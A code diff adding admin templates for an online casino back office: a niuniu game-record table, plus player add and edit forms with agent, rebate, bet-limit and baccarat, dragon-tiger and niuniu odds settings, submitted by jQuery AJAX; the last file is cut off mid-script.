// 获取赔率数据
|
||||
var amount_player_1 = $(obj).attr('amount_player_1');
|
||||
var amount_player_1_times = $(obj).attr('amount_player_1_times');
|
||||
var amount_player_1_banker = $(obj).attr('amount_player_1_banker');
|
||||
var amount_player_1_banker_times = $(obj).attr('amount_player_1_banker_times');
|
||||
|
||||
var amount_player_2 = $(obj).attr('amount_player_2');
|
||||
var amount_player_2_times = $(obj).attr('amount_player_2_times');
|
||||
var amount_player_2_banker = $(obj).attr('amount_player_2_banker');
|
||||
var amount_player_2_banker_times = $(obj).attr('amount_player_2_banker_times');
|
||||
|
||||
var amount_player_3 = $(obj).attr('amount_player_3');
|
||||
var amount_player_3_times = $(obj).attr('amount_player_3_times');
|
||||
var amount_player_3_banker = $(obj).attr('amount_player_3_banker');
|
||||
var amount_player_3_banker_times = $(obj).attr('amount_player_3_banker_times');
|
||||
|
||||
$('#amount_player_1').html(amount_player_1);
|
||||
$('#amount_player_1_times').html(amount_player_1_times);
|
||||
$('#amount_player_1_banker').html(amount_player_1_banker);
|
||||
$('#amount_player_1_banker_times').html(amount_player_1_banker_times);
|
||||
$('#amount_player_2').html(amount_player_2);
|
||||
$('#amount_player_2_times').html(amount_player_2_times);
|
||||
$('#amount_player_2_banker').html(amount_player_2_banker);
|
||||
$('#amount_player_2_banker_times').html(amount_player_2_banker_times);
|
||||
$('#amount_player_3').html(amount_player_3);
|
||||
$('#amount_player_3_times').html(amount_player_3_times);
|
||||
$('#amount_player_3_banker').html(amount_player_3_banker);
|
||||
$('#amount_player_3_banker_times').html(amount_player_3_banker_times);
|
||||
$('#bet_info').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#' + id).hide();
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,36 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">牛牛游戏记录</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">玩家账号</th>
|
||||
<th style="text-align: center;">代理</th>
|
||||
<th style="text-align: center;">游戏桌台</th>
|
||||
<th style="text-align: center;">局号</th>
|
||||
<th style="text-align: center;">结果</th>
|
||||
<th style="text-align: center;">总下注额</th>
|
||||
<th style="text-align: center;">输赢</th>
|
||||
<th style="text-align: center;">下注时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="nn_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.user_nickname}</td>
|
||||
<td>{if $vo.agent_parent_username neq ''}{$vo.agent_parent_username}{/if}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.record_num}</td>
|
||||
<td>{$vo.result}</td>
|
||||
<td>{$vo.amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,398 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">玩家列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">玩家添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">上级代理:</label>
|
||||
<div class="controls">
|
||||
<select name="parent_agent" id="parent_agent">
|
||||
<option value="0">无</option>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<option value="{$vo.id}">{$vo.username}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 将会成为您唯一的登入名</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">昵称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_nickname" name="L_nickname" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 6到16个字符</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 与密码保持一致</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">手机号码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_mobile" name="L_mobile" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">邮箱:</label>
|
||||
<div class="controls">
|
||||
<input id="L_email" name="L_email" type="text" value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">百家乐码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv" name="L_ximalv" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 无上级代理最高不能超过100% </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">龙虎码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 无上级代理最高不能超过100% </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">占成(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_cs" name="L_cs" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 无上级代理最高不能超过100% </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">投注方式:</label>
|
||||
<div class="controls">
|
||||
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
|
||||
<option value="0">请选择投注方式</option>
|
||||
<option value="1">网络投注</option>
|
||||
<option value="2">电话投注</option>
|
||||
<option value="3">所有投注</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押庄赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_banker" name="price_banker" type="text" value="0.95" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押闲赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_player" name="price_player" type="text" value="1" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押对子赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_pair" name="price_pair" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押龙赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_dragon" name="price_dragon" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押虎赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tiger" name="price_tiger" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_dt" name="price_tie_dt" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛7-牛9赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_n7_n9" name="price_n7_n9" type="text" value="2" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛牛赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_nn" name="price_nn" type="text" value="3" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押五公赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_5n" name="price_5n" type="text" value="5" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">日赢上限:</label>
|
||||
<div class="controls">
|
||||
<input id="win_limit" name="win_limit" type="text" value="0" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
|
||||
<font color="red"> * 默认0则为没有限制</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
|
||||
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/index';
|
||||
if(id == "2") location.href = '/player/player_add';
|
||||
});
|
||||
|
||||
|
||||
//监听提交
|
||||
|
||||
$('.submit').click( function(){
|
||||
// 获取和拼装添加代理的数据
|
||||
var limit_checkout = new Array();
|
||||
var query = new Object();
|
||||
query.parent_agent_id = $('#parent_agent').val();
|
||||
query.username = $('#L_username').val();
|
||||
query.nickname = $('#L_nickname').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.mobile = $('#L_mobile').val();
|
||||
query.email = $('#L_email').val();
|
||||
query.ximalv = $('#L_ximalv').val();
|
||||
query.ximalv_dt = $('#L_ximalv_dt').val();
|
||||
query.cs = $('#L_cs').val();
|
||||
query.bet_type = $('#L_bet_type').val();
|
||||
query.limit_low = $('#limit_low').val();
|
||||
query.limit_high = $('#limit_high').val();
|
||||
query.price_banker = $('#price_banker').val();
|
||||
query.price_player = $('#price_player').val();
|
||||
query.price_tie_baccarat = $('#price_tie_baccarat').val();
|
||||
query.price_pair = $('#price_pair').val();
|
||||
query.price_dragon = $('#price_dragon').val();
|
||||
query.price_tiger = $('#price_tiger').val();
|
||||
query.price_tie_dt = $('#price_tie_dt').val();
|
||||
query.price_n7_n9 = $('#price_n7_n9').val();
|
||||
query.price_nn = $('#price_nn').val();
|
||||
query.price_5n = $('#price_5n').val();
|
||||
query.win_limit = $('#win_limit').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.username.length == 0){
|
||||
layer.alert("请填写账号!");
|
||||
return false;
|
||||
}
|
||||
if(query.nickname.length == 0){
|
||||
layer.alert("请填写昵称!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length <= 0){
|
||||
layer.alert("请填写密码!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length > 0 && query.pass.length < 6){
|
||||
layer.alert("密码长度为6到16个字符!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass != query.repass){
|
||||
layer.alert("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv >= 100){
|
||||
layer.alert("洗码率最高不能超过100%!");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv_dt >= 100){
|
||||
layer.alert("洗码率最高不能超过100%!");
|
||||
return false;
|
||||
}
|
||||
if(query.cs > 100){
|
||||
layer.alert("占成最高不能超过100%!");
|
||||
return false;
|
||||
}
|
||||
if(query.bet_type <= 0){
|
||||
layer.alert("请选择投注方式");
|
||||
return false;
|
||||
}
|
||||
if(query.price_banker <= 0){
|
||||
layer.alert("押庄赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_player <= 0){
|
||||
layer.alert("押闲赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_baccarat <= 0){
|
||||
layer.alert("押和(百家乐)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_pair <= 0){
|
||||
layer.alert("押对子赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_dragon <= 0){
|
||||
layer.alert("押龙赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tiger <= 0){
|
||||
layer.alert("押虎赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_dt <= 0){
|
||||
layer.alert("押和(龙虎斗)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_n7_n9 <= 0){
|
||||
layer.alert("押牛7-牛9赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_nn <= 0){
|
||||
layer.alert("押牛牛赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_5n <= 0){
|
||||
layer.alert("押五公赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.win_limit.length <= 0){
|
||||
layer.alert("日赢上限不能为空");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/player/do_player_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/player/index";
|
||||
});
|
||||
}else{
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,376 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">代理列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">玩家修改</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">上级代理:</label>
|
||||
<div class="controls">
|
||||
<input id="L_parent_agent" name="L_parent_agent" type="text" value="{$parent_agent.username}" maxlength="50" minlength="3" class="required" readonly>
|
||||
<span class="help-inline">
|
||||
<font color="red"> </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value="{$player.username}" readonly maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">昵称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_nickname" name="L_nickname" type="text" value="{$player.nickname}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 不填密码默认不修改</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 不填密码默认不修改</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">手机号码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_mobile" name="L_mobile" type="text" value="{$player.mobile}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">邮箱:</label>
|
||||
<div class="controls">
|
||||
<input id="L_email" name="L_email" type="text" value="{$player.email}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">百家乐码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv" name="L_ximalv" type="text" value="{$player.agent_ximalv}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 洗码率不能超过{$parent_agent.agent_ximalv}%</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">龙虎码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="{$player.agent_ximalv_dt}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 洗码率不能超过{$parent_agent.agent_ximalv_dt}%</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">占成(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_cs" name="L_cs" type="text" value="{$player.agent_cs}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 洗码率不能超过{$parent_agent.agent_cs}%</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low" name="limit_low" type="text" maxlength="10" class="required" value="{$player.limit_low}"><span class="help-inline">
|
||||
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high" name="limit_high" type="text" maxlength="10" class="required" value="{$player.limit_high}"><span class="help-inline">
|
||||
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">投注方式:</label>
|
||||
<div class="controls">
|
||||
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
|
||||
<option value="0">请选择投注方式</option>
|
||||
<option value="1" <?php if($player['bet_type'] == 1) {echo 'selected';} ?>>网络投注</option>
|
||||
<option value="2" <?php if($player['bet_type'] == 2) {echo 'selected';} ?>>电话投注</option>
|
||||
<option value="3" <?php if($player['bet_type'] == 3) {echo 'selected';} ?>>所有投注</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押庄赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_banker" name="price_banker" type="text" value="{$player.price_banker}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押闲赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_player" name="price_player" type="text" value="{$player.price_player}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="{$player.price_tie_baccarat}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押对子赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_pair" name="price_pair" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押龙赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_dragon" name="price_dragon" type="text" value="{$player.price_dragon}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押虎赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tiger" name="price_tiger" type="text" value="{$player.price_tiger}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_dt" name="price_tie_dt" type="text" value="{$player.price_tie_dt}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛7-牛9赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_n7_n9" name="price_n7_n9" type="text" value="{$player.price_n7_n9}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛牛赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_nn" name="price_nn" type="text" value="{$player.price_nn}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押五公赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_5n" name="price_5n" type="text" value="{$player.price_5n}" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">日赢上限:</label>
|
||||
<div class="controls">
|
||||
<input id="win_limit" name="win_limit" type="text" value="{$player.win_limit}" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
|
||||
<font color="red"> * 默认0则为没有限制</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="player-id" value="{$player.id}">
|
||||
<input type="hidden" id="parent-ximalv" value="{$parent_agent.agent_ximalv}">
|
||||
<input type="hidden" id="parent-ximalv-dt" value="{$parent_agent.agent_ximalv_dt}">
|
||||
<input type="hidden" id="parent-cs" value="{$parent_agent.agent_cs}">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/index';
|
||||
if(id == "2") location.href = '/player/player_edit';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function () {
|
||||
|
||||
// 获取和拼装添加代理的数据
|
||||
var limit_checkout = new Array();
|
||||
var query = new Object();
|
||||
query.player_id = $('#player-id').val();
|
||||
query.username = $('#L_username').val();
|
||||
query.nickname = $('#L_nickname').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.mobile = $('#L_mobile').val();
|
||||
query.email = $('#L_email').val();
|
||||
query.ximalv = $('#L_ximalv').val();
|
||||
query.ximalv_dt = $('#L_ximalv_dt').val();
|
||||
query.cs = $('#L_cs').val();
|
||||
query.bet_type = $('#L_bet_type').val();
|
||||
var parent_ximalv = $('#parent-ximalv').val();
|
||||
